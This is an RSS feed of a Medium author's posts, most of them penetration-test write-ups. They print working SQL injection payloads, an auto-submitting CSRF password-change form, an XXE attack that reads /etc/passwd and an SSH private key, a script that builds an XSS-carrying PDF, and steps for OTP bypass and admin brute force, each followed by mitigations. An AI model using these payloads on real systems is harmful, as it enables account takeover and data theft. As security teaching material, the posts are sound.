<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Kaan Atmaca on Medium]]></title>
        <description><![CDATA[Stories by Kaan Atmaca on Medium]]></description>
        <link>https://medium.com/@katmaca2014?source=rss-e40e7bc80cd7------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*lQnxF-AuN0haSY0EOFfUgA@2x.jpeg</url>
            <title>Stories by Kaan Atmaca on Medium</title>
            <link>https://medium.com/@katmaca2014?source=rss-e40e7bc80cd7------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 23:45:10 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@katmaca2014/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Are VPN Servers Safe to Use?]]></title>
            <link>https://medium.com/@katmaca2014/are-vpn-servers-safe-to-use-e256650fc389?source=rss-e40e7bc80cd7------2</link>
            <guid isPermaLink="false">https://medium.com/p/e256650fc389</guid>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[vpn]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[coding]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Kaan Atmaca]]></dc:creator>
            <pubDate>Tue, 06 Aug 2024 15:47:23 GMT</pubDate>
            <atom:updated>2024-08-07T21:10:55.182Z</atom:updated>
            <content:encoded><![CDATA[<p>Recent events have led many to wonder: is it safe to log in to social media platforms using a VPN? The answer is not straightforward; While using a VPN to log in to social media platforms can offer enhanced privacy and security, it also comes with potential drawbacks and complication there are several critical factors to consider.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sDgojBt-6qccEEXQpWAISQ.jpeg" /></figure><h3>Understanding VPNs</h3><p>A Virtual Private Network (VPN) allows you to create a secure connection to another network over the Internet. It masks your IP address, making your online actions virtually untraceable and allowing you to access restricted websites by routing your connection through a server in another location.</p><h3>Potential Problems with Using VPNs</h3><p>While VPNs can provide privacy and access, they come with their own set of risks:</p><ol><li><strong>Data Collection</strong>: Your location, the websites you visit, your operating system, and device information can be collected and potentially sold to advertising platforms.</li><li><strong>Free VPN Risks</strong>: Free VPN services might be run by malicious actors who could misuse your data. Additionally, these services can have limited servers, leading to IP addresses being blocked, which can result in your account being blocked as well.</li><li><strong>VPN Provider Policies</strong>: Less reputable providers might log your data, which could potentially include information about the sites you visit.</li></ol><h3>What You Should Do</h3><ol><li><strong>Read the Agreements</strong>: Carefully read the privacy policies and terms of service of VPN providers. This will help you understand what data they are collecting and if they are connected to any advertising networks.</li><li><strong>Choose Reputable Services</strong>: Opt for reputable VPN services known for their strong privacy policies and robust security measures, even if they come at a cost.</li><li><strong>Logging Policy</strong>: Ensure the VPN provider has a strict no-logs policy, meaning they do not keep records of your online activities.</li><li><strong>Security Features</strong>: Look for strong encryption standards, DNS leak protection, a kill switch, and other security features that enhance your privacy.</li></ol><h3>Conclusion</h3><p>To ensure maximum privacy, choose a reputable VPN provider with a strong no-logs policy. Always research and understand the privacy policies of the VPN provider you choose to ensure they align with your privacy expectations.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e256650fc389" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SQL Injection: DB Breach & Secure Coding Practices]]></title>
            <link>https://medium.com/@katmaca2014/sql-injection-db-breach-secure-coding-practices-50f1e58036b9?source=rss-e40e7bc80cd7------2</link>
            <guid isPermaLink="false">https://medium.com/p/50f1e58036b9</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[sql]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[coding]]></category>
            <dc:creator><![CDATA[Kaan Atmaca]]></dc:creator>
            <pubDate>Tue, 02 Jul 2024 13:59:29 GMT</pubDate>
            <atom:updated>2024-07-02T13:59:29.477Z</atom:updated>
            <content:encoded><![CDATA[<p>During my recent web application test, I identified a SQL injection vulnerability that exposed sensitive user data, including usernames, emails, and passwords. Here is a detailed breakdown of how I discovered and exploited the vulnerability, followed by recommended mitigation strategies to prevent such issues.</p><h3>Identifying the Vulnerability</h3><p>As part of my standard procedure, I examined each endpoint of the web application. During this examination, I noticed that the “title” parameter was being sent to the backend server. This parameter was being used in a SQL query to fetch company details.</p><p>To test for SQL injection, I began by inserting a single quote (&#39;) into an input field to see if it would trigger an error. As expected, this resulted in a 500 Internal Server Error, indicating a potential vulnerability.</p><p>Next, I used a different payload to confirm the vulnerability and aimed to complete the query without causing an error. This time, I inserted two single quotes (&#39;&#39;) and received a 200 OK response, confirming the injection point. Additionally, using the payload &#39;;-- successfully commented out the rest of the query, further verifying the presence of the SQL injection vulnerability.</p><h3>Exploiting the Vulnerability</h3><p>To exploit the identified SQL injection vulnerability, I began with simple error-based injection methods. My initial approach involved inserting a payload designed to manipulate the SQL query and observe the system’s response. When this payload was executed, the response returned had a content length of around 24000 characters.</p><p>The first payload I tried was as follows:title=1&#39;+OR+1=0--</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OjlGLofOrGPGHgEGPNzv6g.png" /></figure><p>Next, I used another payload to further exploit the vulnerability and validate the injection. This time, I injected the following payload:title=1&#39;+OR+1=1--</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1h_FIKo8rDe6LyHAxUbb-Q.png" /></figure><p>Upon executing this payload, I observed that the content length of the response had significantly increased compared to the previous response. This indicated that the SQL injection was successful and the query had been manipulated to return more data than usual.</p><p><strong>UNION Based Attack to Return Sensitive Information</strong></p><p>The next step involves using the UNION command to find the number of columns and ultimately retrieve sensitive information from the database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*vW3ufJwUdckPZwpRWdoaug.png" /></figure><p>By incrementally adding NULL values in the UNION statement, I determined that the original query contains 11 columns. The successful payload looked like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*ywTW1hqNpuCDQYlXmJohMA.png" /></figure><p>Knowing that the database management system in use is SQLite, I used the information schema stored in the sqlite_master table to retrieve the names of all tables:</p><pre>1&#39; UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, name, NULL, NULL, NULL, NULL FROM sqlite_master WHERE type=&#39;table&#39;--</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*fNeUMo28NXKa66_0G9se7g.png" /></figure><h3>Mitigation Strategies</h3><p>To prevent SQL injection vulnerabilities, the following measures should be implemented:</p><p><strong>1.Parameterized Queries</strong>: Use parameterized queries (prepared statements) to separate SQL logic from data, thus preventing SQL injection.</p><pre>String query = &quot;SELECT * FROM TABLE_NAME WHERE title = ?&quot;;<br>PreparedStatement preparedStatement = connection.prepareStatement(query);<br>preparedStatement.setString(1, title);<br>ResultSet resultSet = preparedStatement.executeQuery();</pre><p><strong>2. Stored Procedures</strong>: Use stored procedures to encapsulate SQL logic within the database, reducing the risk of SQL injection.</p><pre>CREATE PROCEDURE GetCompanyDetails (@title NVARCHAR(50))<br>AS<br>BEGIN<br>    SELECT * FROM TABLE_NAME WHERE title = @title;<br>END</pre><p><strong>3. Input Validation</strong>: Validate all inputs on both client-side and server-side to ensure they conform to expected formats. Reject any input that does not match the criteria.</p><pre>if (!title.matches(&quot;^[a-zA-Z0-9 ]+$&quot;)) {<br>    throw new IllegalArgumentException(&quot;Invalid title parameter&quot;);<br>}</pre><h3>Conclusion</h3><p>SQL injection vulnerabilities can have severe consequences, allowing attackers to access and manipulate sensitive data. By understanding the methods used to identify and exploit such vulnerabilities, and implementing robust mitigation strategies, organizations can significantly reduce the risk of SQL injection attacks. Always ensure thorough testing and validation of all inputs to maintain a secure web application.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=50f1e58036b9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CSRF leading to Account Takeover]]></title>
            <link>https://medium.com/@katmaca2014/csrf-leading-to-account-takeover-abb32bae0ba5?source=rss-e40e7bc80cd7------2</link>
            <guid isPermaLink="false">https://medium.com/p/abb32bae0ba5</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Kaan Atmaca]]></dc:creator>
            <pubDate>Thu, 23 May 2024 12:17:15 GMT</pubDate>
            <atom:updated>2024-05-23T12:17:15.289Z</atom:updated>
            <content:encoded><![CDATA[<p>Today, I’d like to share an account takeover I uncovered during my latest web penetration test. As is my routine, I began by familiarizing myself with the web application. After some exploration, I directed my attention to the account settings section, a great hunting ground for vulnerabilities.</p><p>While looking around in the account settings page with my proxy Burp Suite at the ready, I stumbled upon an endpoint labeled “<strong>/changePassword</strong>” What caught my eye was the absence of a request for the user’s old password, the application only prompted for a new one. This piqued my interest — <strong>could this seemingly minor flaw be exploited further, perhaps it could lead to CSRF?</strong></p><p>To delve deeper, I executed a dummy password change and intercepted the ensuing HTTP request. To my astonishment, there was no CSRF protection in place; only the new password and its confirmation were transmitted via a straightforward POST request. Realizing that there wasn’t an old password verification and CSRF tokens — I discerned a pathway to an account takeover.</p><p><strong>HTTP Request:</strong></p><pre>POST /Home/ChangePassword HTTP/1.1<br>Host: target<br>Cookie: ********<br>User-Agent: Mozilla/5.0 <br>Accept: application/json, text/javascript, */*; q=0.01<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate, br<br>Content-Type: application/x-www-form-urlencoded; charset=UTF-8<br>Content-Length: 38<br>Sec-Fetch-Dest: empty<br>Sec-Fetch-Mode: cors<br>Sec-Fetch-Site: same-origin<br>Te: trailers<br><br>closenewPassword=NEWPASSWORD&amp;password=NEWPASSWORD</pre><p>With the vulnerability identified, the next crucial step was to exploit it by crafting a malicious link. This link would act as a trap; when clicked by a logged-in user, it would leverage their existing session cookies along with my crafted request, allowing me to execute a password change of my choosing on their account. To do so I created a HTML code which would be the proof of concept.</p><p><strong>CSRF PoC</strong> (this code was embedded into a link):</p><pre>&lt;html&gt;<br>  &lt;body&gt;<br>    &lt;form action=&quot;&lt;https://target.com/Home/ChangePassword&gt;&quot; method=&quot;POST&quot;&gt;<br>      &lt;input type=&quot;hidden&quot; name=&quot;newPassword&quot; value=&quot;NEWPASSWORD;&quot; /&gt;<br>      &lt;input type=&quot;hidden&quot; name=&quot;password&quot; value=&quot;NEWPASSWORD&quot; /&gt;<br>      &lt;input type=&quot;submit&quot; value=&quot;Submit request&quot; /&gt;<br>    &lt;/form&gt;<br>    &lt;script&gt;<br>      history.pushState(&#39;&#39;, &#39;&#39;, &#39;/&#39;);<br>      document.forms[0].submit();<br>    &lt;/script&gt;<br>  &lt;/body&gt;<br>&lt;/html&gt;</pre><p>After creating the malicious link containing the code to alter the user’s password at will, I awaited the unwitting click of the victim. Since this was a controlled environment, the user complied, and in an instant, their password was altered, locking them out of their own account. Meanwhile, with the credentials which I had made them change I gained access to their account.</p><p>Image of the targets browser after the link was clicked:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*xuCOk5Us8YVFOgy0aS3k8Q.png" /></figure><p>In summary, the developers inadvertently opened the door to a significant exploit — a full-blown account takeover via CSRF (CWE-352). Against his vulnerability the implementation of unique CSRF tokens for each action, coupled with a requirement for the user’s old password during password changes. Such measures would significantly raise the bar for potential attackers, fortifying the application’s defenses against such intrusions.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=abb32bae0ba5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting XML Injection to Establish Unauthorized SSH Connection]]></title>
            <link>https://medium.com/@katmaca2014/exploiting-xml-injection-to-establish-unauthorized-ssh-connection-7c9bbc50a4d4?source=rss-e40e7bc80cd7------2</link>
            <guid isPermaLink="false">https://medium.com/p/7c9bbc50a4d4</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[coding]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Kaan Atmaca]]></dc:creator>
            <pubDate>Thu, 23 May 2024 12:15:05 GMT</pubDate>
            <atom:updated>2024-05-23T12:15:05.593Z</atom:updated>
            <content:encoded><![CDATA[<p>Today, I’m thrilled to share my discovery of a critical vulnerability within a web application that ultimately led to unauthorized SSH connection. While conducting a routine assessment using Burp Suite, I stumbled upon file upload endpoints. To gauge the application’s security, I experimented with various file types and was surprised to find that it accepted XML files.</p><p>Understanding the potential risks associated with XML uploads, I set out to exploit this newfound capability. Crafting a specially designed XML payload, I aimed to leverage an XML External Entity (XXE) injection.</p><p>The payload I used resembled the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*44E4mm1Zrc80DJM70I3hJw.png" /></figure><p>This payload effectively requested the /etc/passwd file from the server, leading to a successful Local File Inclusion (LFI) vulnerability. With this access, I could peruse sensitive system files, with limited privileges.</p><p>Eager to escalate my privileges further, I attempted to access the <strong>/etc/shadow</strong> file, hoping to extract encrypted passwords. Unfortunately, my lack of root privileges prevented me from accessing this critical file. However, during my exploration, I discovered a user account lets say named &#39;Alice,&#39; which I had permission to access.</p><p>Capitalizing on this opportunity, I attempted to retrieve Alice’s SSH private key, which could potentially grant me unauthorized access to the system. Employing a similar XML payload, I targeted the SSH key file located at <strong>/home/users/alice/.ssh/id_rsa</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QAG8Zcplu7mZLMIYcLHSRQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f_b6YWH8IhOqZ7TU7TvodQ.png" /></figure><p>To my delight, the payload successfully retrieved Alice’s SSH private key. With this crucial piece of information in hand, I proceeded to identify the IP address of the target server using a simple ping command:</p><pre>ping target.com</pre><p>Subsequently, I conducted an Nmap scan to ascertain if port 22, the SSH port, was open:</p><pre>nmap -p 22 -sV IP_ADDRESS</pre><p>The scan confirmed that port 22 was indeed open, paving the way for me to access the server as Alice. This newfound access granted me significant leverage within the system, underscoring the severity of the initial XML injection vulnerability.</p><pre>ssh -i id_rsa IP_ADDRESS</pre><p>In conclusion, the discovery of an XML injection vulnerability within the web application underscores the critical importance of robust security measures. By following best practices such as input validation, secure parsing, and regular security audits, organizations can effectively mitigate the risk of XML injection and other similar vulnerabilities. Remember, proactive security measures are essential to safeguarding sensitive data and maintaining the integrity of web applications in today&#39;s ever-evolving threat landscape. Stay vigilant, stay secure.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7c9bbc50a4d4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PDF Upload Leading to Stored XSS]]></title>
            <link>https://medium.com/@katmaca2014/pdf-upload-leading-to-stored-xss-f712326705ee?source=rss-e40e7bc80cd7------2</link>
            <guid isPermaLink="false">https://medium.com/p/f712326705ee</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Kaan Atmaca]]></dc:creator>
            <pubDate>Tue, 05 Dec 2023 08:14:49 GMT</pubDate>
            <atom:updated>2023-12-05T08:14:49.883Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello everyone, I want to share an interesting discovery from my latest penetration testing task. While exploring a web application, I stumbled upon a file upload feature for a business application.</p><p>Naturally, I attempted to upload various file types and tried to exploit potential vulnerabilities to upload a PHP file, given that the backend was written in PHP. Unfortunately, my initial attempts were unsuccessful.</p><p>However, I was able to successfully upload a PDF file. Recognizing this, I conducted some online research and found that you could inject JavaScript code into PDF files.</p><p>So I needed to have a injection inside a PDF file and if the website didn’t do the necessary checks we have ourselves a stored XSS vulnerability. Searching online I couldn’t find a simple XSS PDF. So I decided to implement a Python script. This Python script embedded a JavaScript code into the PDF, in this case, app.alert(1).</p><p>Here’s a snippet of the Python code:</p><pre>#&lt;https://github.com/kaanatmacaa&gt;<br>import sys<br>if sys.version_info[0] &lt; 3:<br>    raise SystemExit(&quot;Use Python 3 (or higher) only&quot;)<br>import io<br>import bz2<br>import base64<br><br>def create_malpdf1(filename):<br>    with open(filename, &quot;w&quot;) as file:<br>        file.write(&#39;&#39;&#39;%PDF-1.7<br>        1 0 obj<br>        &lt;&lt;/Pages 1 0 R /OpenAction 2 0 R&gt;&gt;<br>        2 0 obj<br>        &lt;&lt;/S /JavaScript /JS (app.alert(1))<br>        &gt;&gt; trailer &lt;&lt;/Root 1 0 R&gt;&gt;&#39;&#39;&#39;)<br><br>if __name__ == &quot;__main__&quot;:<br>    print(&quot;Creating PDF files..&quot;)<br>    create_malpdf1(&quot;test.pdf&quot;)<br>    print(&quot;Done!&quot;)</pre><p><em>I’m currently developing a more comprehensive tool, which will be available on my GitHub account: </em><a href="https://github.com/kaanatmacaa"><em>https://github.com/kaanatmacaa</em></a><em>.</em></p><p>After creating the PDF file, I uploaded it to the web application, and BOOM… Stored XSS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AsAqfsxPrMYOt_DgicBMHQ.png" /></figure><p>In conclusion, users and organizations generally do not anticipate malicious scripts within PDF documents. Developers should implement robust security checks for PDF files within their applications. Furthermore, organizations utilizing third-party PDF file readers should prioritize keeping these components up to date.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f712326705ee" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Account Takeover via Business Logic]]></title>
            <link>https://medium.com/@katmaca2014/account-takeover-via-business-logic-40b45bfa11c4?source=rss-e40e7bc80cd7------2</link>
            <guid isPermaLink="false">https://medium.com/p/40b45bfa11c4</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Kaan Atmaca]]></dc:creator>
            <pubDate>Fri, 20 Oct 2023 08:08:19 GMT</pubDate>
            <atom:updated>2023-10-23T06:32:29.690Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi! In a recent web pentest project by using business logic, I was able to bypass the one-time password (OTP), leading to an account takeover.</p><p><strong>Discovery Process:</strong></p><p>My journey into this security exploit began with an examination using Burp Suite. As I delved into the application’s login page, I encountered a two-step authentication procedure. In the initial step, users were prompted to enter their phone numbers, this would trigger the generation and transmission of a one-time password (OTP) via SMS for authentication. Subsequently the users would enter the code sent to their phones to login.</p><p>While analyzing the packets sent I realized that the input validation was done incorrectly and I could generate a code for different users. To do so I needed to have a proxy in-between the client and server.</p><p><strong>Exploiting the Vulnerability:</strong></p><p>To exploit firstly I selected a target user. Next, with the interception feature of Burp Suite Proxy, I changed the target user’s phone number with my own phone number, triggering the generation of an OTP for my individual device.</p><p>Below you can see the image where I entered the target users phone number. Also the HTTP request captured on proxy where the phone number was changed with my number.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lw55TXOvBtc_PBTFZVTMVw.png" /></figure><pre>POST <strong>/login/generateCode</strong> HTTP/1.1<br>Host: **************<br>Cookie: **************<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0<br>Accept: */*<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate, br<br>Content-Type: application/x-www-form-urlencoded; charset=UTF-8<br>Content-Length: 63<br>X-Requested-With: XMLHttpRequest<br>Origin: *********<br>Sec-Fetch-Dest: empty<br>Sec-Fetch-Mode: cors<br>Sec-Fetch-Site: same-origin<br>Te: trailers<br><br>tel_no<strong>=MY_PHONE_NUMBER</strong>&amp;csrf_token=*****<br></pre><p>After the request was sent an OTP was sent to my device instead of the target user’s phone.</p><p>The next phase involved the login process, I entered the targets phone number and the OTP code which was sent to me. Then, with the Burp Suite Intercept, I altered the phone number. This manipulation was a crucial step in allowing me to seamlessly accept the OTP generated for my device.</p><p>Below is the image of the login page where I entered the targets phone number and the OTP code which was sent to my device.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5sK3cFY1eWGh8JXAmWulHw.png" /></figure><p>The HTTP request where I changed the phone number of the target’s to my own number to login to the targeted account:</p><pre><strong>POST /login/check-otp</strong> HTTP/1.1<br>Host: **********<br>Cookie: *************<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate, br<br>Content-Type: application/x-www-form-urlencoded; charset=UTF-8<br>Content-Length: 77<br>Referer: *********<br>X-Newrelic-Id: ********<br>Newrelic: ***********<br>Tracestate: ************<br>X-Requested-With: XMLHttpRequest<br>Origin: *************<br>Sec-Fetch-Dest: empty<br>Sec-Fetch-Mode: cors<br>Sec-Fetch-Site: same-origin<br>Te: trailers<br>Connection: close<br><br>t<em>el_no=</em><strong><em>MY_PHONE_NUMBER</em></strong><em>&amp;otp_code</em><strong><em>=MY_OTP&amp;</em></strong>csrf_token=*****<br></pre><p>HTTP Response:</p><pre>HTTP/1.1 200 <br>Server: *****<br>Date: Tue, 10 Oct 2023 07:13:07 GMT<br>Content-Type: application/json;charset=UTF-8<br>Connection: close<br>X-Frame-Options: SAMEORIGIN<br>Set-Cookie: ****; <br>Cache-Control: no-cache, no-store, max-age=0, must-revalidate<br>Pragma: no-cache<br>Expires: 0<br>Strict-Transport-Security: max-age=31536000 ; includeSubDomains<br>X-XSS-Protection: 1; mode=block<br>X-Content-Type-Options: nosniff<br>Content-Length: 170<strong><br></strong><br>{&quot;success&quot;:true,&quot;message&quot;:&quot;Login Succesful: TARGET_USERNAME.&quot;}<br></pre><p>By successfully exploiting the business logic, I gained unauthorized access to the targets account.</p><p><strong>Conclusion:</strong></p><p>This incident underscores the significance of business logic and input validation. The application should ensure that only logically valid inputs can be entered and sent. Verifying data on the client side would be incorrect since attackers can gain access using proxies. The developers must validate from the client and the server-side.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=40b45bfa11c4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[API Information Disclosure Leading to Admin Account Takeover]]></title>
            <link>https://medium.com/@katmaca2014/api-information-disclosure-leading-to-admin-account-takeover-840acc31e562?source=rss-e40e7bc80cd7------2</link>
            <guid isPermaLink="false">https://medium.com/p/840acc31e562</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[api]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Kaan Atmaca]]></dc:creator>
            <pubDate>Mon, 18 Sep 2023 08:17:31 GMT</pubDate>
            <atom:updated>2023-09-19T07:07:17.114Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi everyone! In this project, my primary responsibility was to identify vulnerabilities in the website’s APIs. I’d like to share an incident where an API information disclosure ultimately led to an Admin account takeover. Lets look into it…</p><p>To begin, I followed standard procedures by running the website’s APIs and analyzing the requests and responses using Postman and Burp Suite. During this analysis, I stumbled upon an interesting finding. In one of the API endpoints, a key named “ApiUrl” was present, accompanied by a value. However, this value was not the expected IP address but a distinct address not utilized in the website’s main domains. This piqued my curiosity and prompted further investigation.</p><pre>HTTP Response: <br><br>HTTP/2 200 OK<br>Content-Length: 35988<br>Content-Type: application/json; charset=utf-8<br>Server: Microsoft-IIS/10.0<br>X-Frame-Options: sameorigin<br>X-Content-Type-Options: nosniff<br>Content-Security-Policy: default-src &#39;self&#39;; script-src &#39;self&#39; &#39;unsafe-inline&#39; &#39;unsafe-eval&#39;; font-src *; frame-src *<br>Permissions-Policy: accelerometer=(),autoplay=(),camera=(),display-capture=(),document-domain=(),encrypted-media=(),fullscreen=(),geolocation=(),gyroscope=(),magnetometer=(),microphone=(),midi=(),payment=(),picture-in-picture=(),publickey-credentials-get=(),screen-wake-lock=(),sync-xhr=(self),usb=(),web-share=(),xr-spatial-tracking=()<br>Strict-Transport-Security: max-age=31536000; includeSubDomains; preload<br>X-Xss-Protection: 1; mode=block<br>Date: Wed, 09 Aug 2023 08:11:43 GMT<br><br>{&quot;Result&quot;:{&quot;DeviceInfo&quot;:{&quot;TerminalNo&quot;:&quot;*****&quot;,&quot;Limit&quot;:50000,<br>&quot;ApiUrl&quot;:&quot;https://NEW-IPADDR/api/&quot;,<br>&quot;ApiUserName&quot;:&quot;******==&quot;,<br>&quot;ApiPassword&quot;:&quot;******==&quot;},&quot;TaxProfileList&quot;:<br>[{&quot;Title&quot;:&quot;KDV 1&quot;,&quot;TaxVatIncluded&quot;:1,&quot;Idx&quot;:1},</pre><p>Upon attempting to access the provided URL, I encountered a 404 error, indicating that the specified URL was not found. Nevertheless, the correct IP address indicated that there might be an alternative endpoint worth exploring. My investigation continued, and I used GoBuster to search for potential endpoints using the “seclists/discovery/web-content/big.txt” wordlist:</p><pre>gobuster dir -u IPADDR -w /usr/share/seclists/Discovery/Web-Content/big.txt</pre><p>After GoBuster completed its scan, it revealed the existence of an endpoint named “/trs.” Upon entering “IPADDR/trs” into the browser’s URL bar, I discovered an older webpage associated with the application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*zI5t5M3i3DarxmqP4eu3TA.png" /></figure><p>Continuing my assessment, I decided to test common administrator usernames, which led me to discover that the default username was “admin.” To uncover the password, I executed a Burp Suite Intruder attack, using a list of 500 commonly used passwords for admin users. Once the Intruder process was completed, I successfully gained access to the web application with admin privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*Qyi1oE_WHs4mcw9BF3ZBLw.png" /></figure><p>In conclusion, the critical vulnerability that allowed an Admin account takeover stemmed from the API information disclosure. It’s imperative to note that developers should refrain from including the IP address of hidden websites in response packets, as this can lead to unauthorized access. Furthermore, administrators should employ robust and hard-to-guess passwords to enhance security measures.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=840acc31e562" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OTP Bypass via Source Page Inspection]]></title>
            <link>https://medium.com/@katmaca2014/otp-bypass-via-source-page-inspection-3c6ac90a0fb5?source=rss-e40e7bc80cd7------2</link>
            <guid isPermaLink="false">https://medium.com/p/3c6ac90a0fb5</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[otp-bypass]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Kaan Atmaca]]></dc:creator>
            <pubDate>Mon, 18 Sep 2023 08:15:10 GMT</pubDate>
            <atom:updated>2023-09-18T08:15:10.295Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello guys today I will explain an OTP (One-Time-Password) Bypass I found during a website penetration test. Lets get into it…</p><p>My initial step was to explore the website and understanding the functions used on it. After registering with my credentials, I returned to the login page for further analysis.</p><p>Upon entering my login credentials, I was directed to a second page where a text message containing an OTP was sent to my phone. This showed that the system had implemented Two-Factor Authentication (2FA), which is a good security measure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/649/1*908F1Og5msd1qeN5K_IIrg.png" /></figure><p>However, while inspecting the requests sent and received via Burp Suite, I noticed something unusual there was no request being sent to validate the OTP code I entered. SO the OTP validation had to be performed on the frontend side of the application.</p><p>To delve deeper, I decided to inspect the frontend code. It didn’t take long for me to find the flaw: the OTP code sent to my device was embedded within the HTML code, hidden in an input element. When I used my browser’s inspection tool, I could expose the OTP code. And just like that, I had gained unauthorized access to the system, effectively bypassing the OTP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dn-aB3ouQO7yM1t08y08sA.png" /></figure><p>In summary, the developers of this system left a security hole. The OTP bypass should have been validated on the backend server, where it could be better protected. In our case, the validation was unfortunately done on the frontend, leading to an easily exploited vulnerability.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3c6ac90a0fb5" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>